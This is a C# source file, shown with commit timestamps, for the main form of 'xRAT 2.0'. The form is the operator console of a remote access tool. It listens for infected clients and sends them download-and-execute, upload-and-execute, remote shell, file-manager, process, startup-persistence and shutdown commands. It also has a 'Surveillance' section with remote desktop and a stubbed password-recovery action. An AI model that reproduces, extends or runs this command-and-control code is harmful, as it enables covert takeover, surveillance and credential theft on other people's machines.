2015-01-27 22:56:52 +00:00
|
|
|
|
using System;
|
2015-04-06 08:06:33 +00:00
|
|
|
|
using System.IO;
|
2015-01-27 22:56:52 +00:00
|
|
|
|
using System.Threading;
|
|
|
|
|
using System.Windows.Forms;
|
|
|
|
|
using xServer.Core;
|
|
|
|
|
using xServer.Core.Commands;
|
2015-04-06 18:33:34 +00:00
|
|
|
|
using xServer.Core.Extensions;
|
2015-01-27 22:56:52 +00:00
|
|
|
|
using xServer.Core.Helper;
|
|
|
|
|
using xServer.Core.Misc;
|
|
|
|
|
using xServer.Core.Packets;
|
|
|
|
|
using xServer.Settings;
|
|
|
|
|
|
|
|
|
|
namespace xServer.Forms
|
|
|
|
|
{
|
|
|
|
|
public partial class FrmMain : Form
|
|
|
|
|
{
|
|
|
|
|
public Server ListenServer;
|
|
|
|
|
private readonly ListViewColumnSorter _lvwColumnSorter;
|
2015-04-02 08:26:57 +00:00
|
|
|
|
public static volatile FrmMain Instance;
|
2015-01-27 22:56:52 +00:00
|
|
|
|
|
|
|
|
|
private void ReadSettings(bool writeIfNotExist = true)
|
|
|
|
|
{
|
|
|
|
|
if (writeIfNotExist)
|
|
|
|
|
XMLSettings.WriteDefaultSettings();
|
|
|
|
|
|
|
|
|
|
XMLSettings.ListenPort = ushort.Parse(XMLSettings.ReadValue("ListenPort"));
|
|
|
|
|
XMLSettings.ShowToU = bool.Parse(XMLSettings.ReadValue("ShowToU"));
|
|
|
|
|
XMLSettings.AutoListen = bool.Parse(XMLSettings.ReadValue("AutoListen"));
|
|
|
|
|
XMLSettings.ShowPopup = bool.Parse(XMLSettings.ReadValue("ShowPopup"));
|
|
|
|
|
XMLSettings.UseUPnP = bool.Parse(XMLSettings.ReadValue("UseUPnP"));
|
2015-04-21 19:46:48 +00:00
|
|
|
|
XMLSettings.ShowToolTip = bool.Parse(!string.IsNullOrEmpty(XMLSettings.ReadValue("ShowToolTip")) ? XMLSettings.ReadValue("ShowToolTip") : "False"); //fallback
|
2015-01-27 22:56:52 +00:00
|
|
|
|
XMLSettings.Password = XMLSettings.ReadValue("Password");
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void ShowTermsOfService(bool show)
|
|
|
|
|
{
|
|
|
|
|
if (show)
|
|
|
|
|
{
|
|
|
|
|
using (var frm = new FrmTermsOfUse())
|
|
|
|
|
{
|
|
|
|
|
frm.ShowDialog();
|
|
|
|
|
}
|
|
|
|
|
Thread.Sleep(300);
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
public FrmMain()
|
|
|
|
|
{
|
2015-03-31 07:43:54 +00:00
|
|
|
|
Instance = this;
|
|
|
|
|
|
2015-01-27 22:56:52 +00:00
|
|
|
|
ReadSettings();
|
2015-04-21 19:46:48 +00:00
|
|
|
|
|
|
|
|
|
#if !DEBUG
|
2015-01-27 22:56:52 +00:00
|
|
|
|
ShowTermsOfService(XMLSettings.ShowToU);
|
2015-04-21 19:08:55 +00:00
|
|
|
|
#endif
|
2015-01-27 22:56:52 +00:00
|
|
|
|
|
|
|
|
|
InitializeComponent();
|
|
|
|
|
|
|
|
|
|
this.Menu = mainMenu;
|
|
|
|
|
|
|
|
|
|
_lvwColumnSorter = new ListViewColumnSorter();
|
|
|
|
|
lstClients.ListViewItemSorter = _lvwColumnSorter;
|
|
|
|
|
|
2015-04-06 18:33:34 +00:00
|
|
|
|
ListViewExtensions.RemoveDots(lstClients);
|
|
|
|
|
ListViewExtensions.ChangeTheme(lstClients);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
public void UpdateWindowTitle(int count, int selected)
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
this.Invoke((MethodInvoker) delegate
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
|
|
|
|
#if DEBUG
|
|
|
|
|
if (selected > 0)
|
2015-04-21 18:27:52 +00:00
|
|
|
|
this.Text = string.Format("xRAT 2.0 - Connected: {0} [Selected: {1}] - Threads: {2}", count,
|
|
|
|
|
selected, System.Diagnostics.Process.GetCurrentProcess().Threads.Count);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
else
|
2015-04-21 18:27:52 +00:00
|
|
|
|
this.Text = string.Format("xRAT 2.0 - Connected: {0} - Threads: {1}", count,
|
|
|
|
|
System.Diagnostics.Process.GetCurrentProcess().Threads.Count);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
#else
|
|
|
|
|
if (selected > 0)
|
|
|
|
|
this.Text = string.Format("xRAT 2.0 - Connected: {0} [Selected: {1}]", count, selected);
|
|
|
|
|
else
|
|
|
|
|
this.Text = string.Format("xRAT 2.0 - Connected: {0}", count);
|
|
|
|
|
#endif
|
|
|
|
|
});
|
|
|
|
|
}
|
|
|
|
|
catch
|
2015-04-21 18:27:52 +00:00
|
|
|
|
{
|
|
|
|
|
}
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
|
|
|
|
|
2015-02-24 11:13:04 +00:00
|
|
|
|
private void InitializeServer()
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-03-31 16:15:48 +00:00
|
|
|
|
ListenServer = new Server();
|
2015-01-27 22:56:52 +00:00
|
|
|
|
|
2015-04-21 18:27:52 +00:00
|
|
|
|
ListenServer.AddTypesToSerializer(typeof (IPacket), new Type[]
|
|
|
|
|
{
|
|
|
|
|
typeof (Core.Packets.ServerPackets.InitializeCommand),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Disconnect),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Reconnect),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Uninstall),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.DownloadAndExecute),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.UploadAndExecute),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Desktop),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.GetProcesses),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.KillProcess),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.StartProcess),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Drives),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Directory),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.DownloadFile),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.MouseClick),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.GetSystemInfo),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.VisitWebsite),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.ShowMessageBox),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Update),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Monitors),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.ShellCommand),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Rename),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Delete),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.Action),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.GetStartupItems),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.AddStartupItem),
|
|
|
|
|
typeof (Core.Packets.ServerPackets.DownloadFileCanceled),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.Initialize),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.Status),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.UserStatus),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.DesktopResponse),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.GetProcessesResponse),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.DrivesResponse),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.DirectoryResponse),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.DownloadFileResponse),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.GetSystemInfoResponse),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.MonitorsResponse),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.ShellCommandResponse),
|
|
|
|
|
typeof (Core.Packets.ClientPackets.GetStartupItemsResponse)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
ListenServer.ServerState += ServerState;
|
|
|
|
|
ListenServer.ClientState += ClientState;
|
|
|
|
|
ListenServer.ClientRead += ClientRead;
|
2015-02-24 11:13:04 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void FrmMain_Load(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
InitializeServer();
|
2015-01-27 22:56:52 +00:00
|
|
|
|
|
|
|
|
|
if (XMLSettings.AutoListen)
|
|
|
|
|
{
|
|
|
|
|
if (XMLSettings.UseUPnP)
|
|
|
|
|
UPnP.ForwardPort(ushort.Parse(XMLSettings.ListenPort.ToString()));
|
|
|
|
|
ListenServer.Listen(XMLSettings.ListenPort);
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void FrmMain_FormClosing(object sender, FormClosingEventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (ListenServer.Listening)
|
|
|
|
|
ListenServer.Disconnect();
|
|
|
|
|
|
|
|
|
|
if (XMLSettings.UseUPnP)
|
|
|
|
|
UPnP.RemovePort(ushort.Parse(XMLSettings.ListenPort.ToString()));
|
|
|
|
|
|
|
|
|
|
nIcon.Visible = false;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void lstClients_SelectedIndexChanged(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
UpdateWindowTitle(ListenServer.ConnectedClients, lstClients.SelectedItems.Count);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void ServerState(Server server, bool listening)
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
this.Invoke((MethodInvoker) delegate { botListen.Text = "Listening: " + listening.ToString(); });
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
|
|
|
|
catch
|
2015-04-21 18:27:52 +00:00
|
|
|
|
{
|
|
|
|
|
}
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void ClientState(Server server, Client client, bool connected)
|
|
|
|
|
{
|
|
|
|
|
if (connected)
|
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
client.Value = new UserState();
|
|
|
|
|
// Initialize the UserState so we can store values in there if we need to.
|
2015-01-27 22:56:52 +00:00
|
|
|
|
|
|
|
|
|
new Core.Packets.ServerPackets.InitializeCommand().Execute(client);
|
|
|
|
|
}
|
|
|
|
|
else
|
|
|
|
|
{
|
2015-04-13 08:25:45 +00:00
|
|
|
|
int selectedClients = 0;
|
2015-04-02 08:26:57 +00:00
|
|
|
|
this.Invoke((MethodInvoker) delegate
|
|
|
|
|
{
|
|
|
|
|
foreach (ListViewItem lvi in lstClients.Items)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-02 08:26:57 +00:00
|
|
|
|
if ((Client) lvi.Tag == client)
|
|
|
|
|
{
|
|
|
|
|
lvi.Remove();
|
|
|
|
|
server.ConnectedClients--;
|
|
|
|
|
}
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-13 08:25:45 +00:00
|
|
|
|
selectedClients = lstClients.SelectedItems.Count;
|
2015-04-02 08:26:57 +00:00
|
|
|
|
});
|
2015-04-13 08:25:45 +00:00
|
|
|
|
UpdateWindowTitle(ListenServer.ConnectedClients, selectedClients);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void ClientRead(Server server, Client client, IPacket packet)
|
|
|
|
|
{
|
|
|
|
|
var type = packet.GetType();
|
|
|
|
|
|
|
|
|
|
if (!client.Value.IsAuthenticated)
|
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
if (type == typeof (Core.Packets.ClientPackets.Initialize))
|
|
|
|
|
CommandHandler.HandleInitialize(client, (Core.Packets.ClientPackets.Initialize) packet);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
else
|
|
|
|
|
return;
|
|
|
|
|
}
|
|
|
|
|
|
2015-04-21 18:27:52 +00:00
|
|
|
|
if (type == typeof (Core.Packets.ClientPackets.Status))
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleStatus(client, (Core.Packets.ClientPackets.Status) packet);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ClientPackets.UserStatus))
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleUserStatus(client, (Core.Packets.ClientPackets.UserStatus) packet);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ClientPackets.DesktopResponse))
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleRemoteDesktopResponse(client, (Core.Packets.ClientPackets.DesktopResponse) packet);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ClientPackets.GetProcessesResponse))
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleGetProcessesResponse(client,
|
|
|
|
|
(Core.Packets.ClientPackets.GetProcessesResponse) packet);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ClientPackets.DrivesResponse))
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleDrivesResponse(client, (Core.Packets.ClientPackets.DrivesResponse) packet);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ClientPackets.DirectoryResponse))
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleDirectoryResponse(client, (Core.Packets.ClientPackets.DirectoryResponse) packet);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ClientPackets.DownloadFileResponse))
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleDownloadFileResponse(client,
|
|
|
|
|
(Core.Packets.ClientPackets.DownloadFileResponse) packet);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ClientPackets.GetSystemInfoResponse))
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleGetSystemInfoResponse(client,
|
|
|
|
|
(Core.Packets.ClientPackets.GetSystemInfoResponse) packet);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ClientPackets.MonitorsResponse))
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleMonitorsResponse(client, (Core.Packets.ClientPackets.MonitorsResponse) packet);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ClientPackets.ShellCommandResponse))
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleShellCommandResponse(client,
|
|
|
|
|
(Core.Packets.ClientPackets.ShellCommandResponse) packet);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
else if (type == typeof (Core.Packets.ClientPackets.GetStartupItemsResponse))
|
2015-02-24 11:13:04 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
CommandHandler.HandleGetStartupItemsResponse(client,
|
|
|
|
|
(Core.Packets.ClientPackets.GetStartupItemsResponse) packet);
|
2015-02-24 11:13:04 +00:00
|
|
|
|
}
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void lstClients_ColumnClick(object sender, ColumnClickEventArgs e)
|
|
|
|
|
{
|
|
|
|
|
// Determine if clicked column is already the column that is being sorted.
|
|
|
|
|
if (e.Column == _lvwColumnSorter.SortColumn)
|
|
|
|
|
{
|
|
|
|
|
// Reverse the current sort direction for this column.
|
|
|
|
|
if (_lvwColumnSorter.Order == SortOrder.Ascending)
|
|
|
|
|
_lvwColumnSorter.Order = SortOrder.Descending;
|
|
|
|
|
else
|
|
|
|
|
_lvwColumnSorter.Order = SortOrder.Ascending;
|
|
|
|
|
}
|
|
|
|
|
else
|
|
|
|
|
{
|
|
|
|
|
// Set the column number that is to be sorted; default to ascending.
|
|
|
|
|
_lvwColumnSorter.SortColumn = e.Column;
|
|
|
|
|
_lvwColumnSorter.Order = SortOrder.Ascending;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// Perform the sort with these new sort options.
|
|
|
|
|
lstClients.Sort();
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
#region "ContextMenu"
|
2015-04-21 18:27:52 +00:00
|
|
|
|
|
|
|
|
|
#region "Connection"
|
|
|
|
|
|
|
|
|
|
private void ctxtUpdate_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (lstClients.SelectedItems.Count != 0)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
using (var frm = new FrmUpdate(lstClients.SelectedItems.Count))
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
if (frm.ShowDialog() == DialogResult.OK)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
foreach (ListViewItem lvi in lstClients.SelectedItems)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
Client c = (Client) lvi.Tag;
|
|
|
|
|
new Core.Packets.ServerPackets.Update(Core.Misc.Update.DownloadURL).Execute(c);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|
2015-01-27 22:56:52 +00:00
|
|
|
|
|
2015-04-21 18:27:52 +00:00
|
|
|
|
private void ctxtDisconnect_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
foreach (ListViewItem lvi in lstClients.SelectedItems)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
Client c = (Client) lvi.Tag;
|
|
|
|
|
new Core.Packets.ServerPackets.Disconnect().Execute(c);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|
2015-01-27 22:56:52 +00:00
|
|
|
|
|
2015-04-21 18:27:52 +00:00
|
|
|
|
private void ctxtReconnect_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
foreach (ListViewItem lvi in lstClients.SelectedItems)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
Client c = (Client) lvi.Tag;
|
|
|
|
|
new Core.Packets.ServerPackets.Reconnect().Execute(c);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|
2015-01-27 22:56:52 +00:00
|
|
|
|
|
2015-04-21 18:27:52 +00:00
|
|
|
|
private void ctxtUninstall_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (
|
|
|
|
|
MessageBox.Show(
|
|
|
|
|
string.Format(
|
|
|
|
|
"Are you sure you want to uninstall the client on {0} computer\\s?\nThe clients won't come back!",
|
|
|
|
|
lstClients.SelectedItems.Count), "Uninstall Confirmation", MessageBoxButtons.YesNo,
|
|
|
|
|
MessageBoxIcon.Question) == DialogResult.Yes)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
foreach (ListViewItem lvi in lstClients.SelectedItems)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
Client c = (Client) lvi.Tag;
|
|
|
|
|
new Core.Packets.ServerPackets.Uninstall().Execute(c);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
#endregion
|
|
|
|
|
|
|
|
|
|
#region "System"
|
|
|
|
|
|
|
|
|
|
private void ctxtSystemInformation_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (lstClients.SelectedItems.Count != 0)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
Client c = (Client) lstClients.SelectedItems[0].Tag;
|
|
|
|
|
if (c.Value.FrmSi != null)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
c.Value.FrmSi.Focus();
|
|
|
|
|
return;
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
FrmSystemInformation frmSI = new FrmSystemInformation(c);
|
|
|
|
|
frmSI.Show();
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void ctxtFileManager_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (lstClients.SelectedItems.Count != 0)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
Client c = (Client) lstClients.SelectedItems[0].Tag;
|
|
|
|
|
if (c.Value.FrmFm != null)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
c.Value.FrmFm.Focus();
|
|
|
|
|
return;
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
FrmFileManager frmFM = new FrmFileManager(c);
|
|
|
|
|
frmFM.Show();
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void ctxtStartupManager_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (lstClients.SelectedItems.Count != 0)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
Client c = (Client) lstClients.SelectedItems[0].Tag;
|
|
|
|
|
if (c.Value.FrmStm != null)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
c.Value.FrmStm.Focus();
|
|
|
|
|
return;
|
2015-02-24 11:13:04 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
FrmStartupManager frmStm = new FrmStartupManager(c);
|
|
|
|
|
frmStm.Show();
|
2015-02-24 11:13:04 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void ctxtTaskManager_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (lstClients.SelectedItems.Count != 0)
|
2015-02-24 11:13:04 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
Client c = (Client) lstClients.SelectedItems[0].Tag;
|
|
|
|
|
if (c.Value.FrmTm != null)
|
2015-02-24 11:13:04 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
c.Value.FrmTm.Focus();
|
|
|
|
|
return;
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
FrmTaskManager frmTM = new FrmTaskManager(c);
|
|
|
|
|
frmTM.Show();
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void ctxtRemoteShell_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (lstClients.SelectedItems.Count != 0)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
Client c = (Client) lstClients.SelectedItems[0].Tag;
|
|
|
|
|
if (c.Value.FrmRs != null)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
c.Value.FrmRs.Focus();
|
|
|
|
|
return;
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
FrmRemoteShell frmRS = new FrmRemoteShell(c);
|
|
|
|
|
frmRS.Show();
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void ctxtShutdown_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (lstClients.SelectedItems.Count != 0)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
foreach (ListViewItem lvi in lstClients.SelectedItems)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
Client c = (Client) lvi.Tag;
|
|
|
|
|
new Core.Packets.ServerPackets.Action(0).Execute(c);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void ctxtRestart_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (lstClients.SelectedItems.Count != 0)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
foreach (ListViewItem lvi in lstClients.SelectedItems)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
Client c = (Client) lvi.Tag;
|
|
|
|
|
new Core.Packets.ServerPackets.Action(1).Execute(c);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void ctxtStandby_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (lstClients.SelectedItems.Count != 0)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
foreach (ListViewItem lvi in lstClients.SelectedItems)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
Client c = (Client) lvi.Tag;
|
|
|
|
|
new Core.Packets.ServerPackets.Action(2).Execute(c);
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
#endregion
|
|
|
|
|
|
|
|
|
|
#region "Surveillance"
|
2015-01-27 22:56:52 +00:00
|
|
|
|
|
2015-04-21 18:27:52 +00:00
|
|
|
|
private void ctxtRemoteDesktop_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (lstClients.SelectedItems.Count != 0)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
Client c = (Client) lstClients.SelectedItems[0].Tag;
|
|
|
|
|
if (c.Value.FrmRdp != null)
|
2015-01-27 22:56:52 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
c.Value.FrmRdp.Focus();
|
|
|
|
|
return;
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
FrmRemoteDesktop frmRDP = new FrmRemoteDesktop(c);
|
|
|
|
|
frmRDP.Show();
|
2015-01-27 22:56:52 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void ctxtPasswordRecovery_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (lstClients.SelectedItems.Count != 0)
|
2015-03-17 09:11:26 +00:00
|
|
|
|
{
|
2015-04-21 18:27:52 +00:00
|
|
|
|
// TODO
|
2015-03-17 09:11:26 +00:00
|
|
|
|
}
|
2015-04-21 18:27:52 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
#endregion
|
|
|
|
|
|
|
|
|
|
#region "Miscellaneous"
|
|
|
|
|
|
|
|
|
|
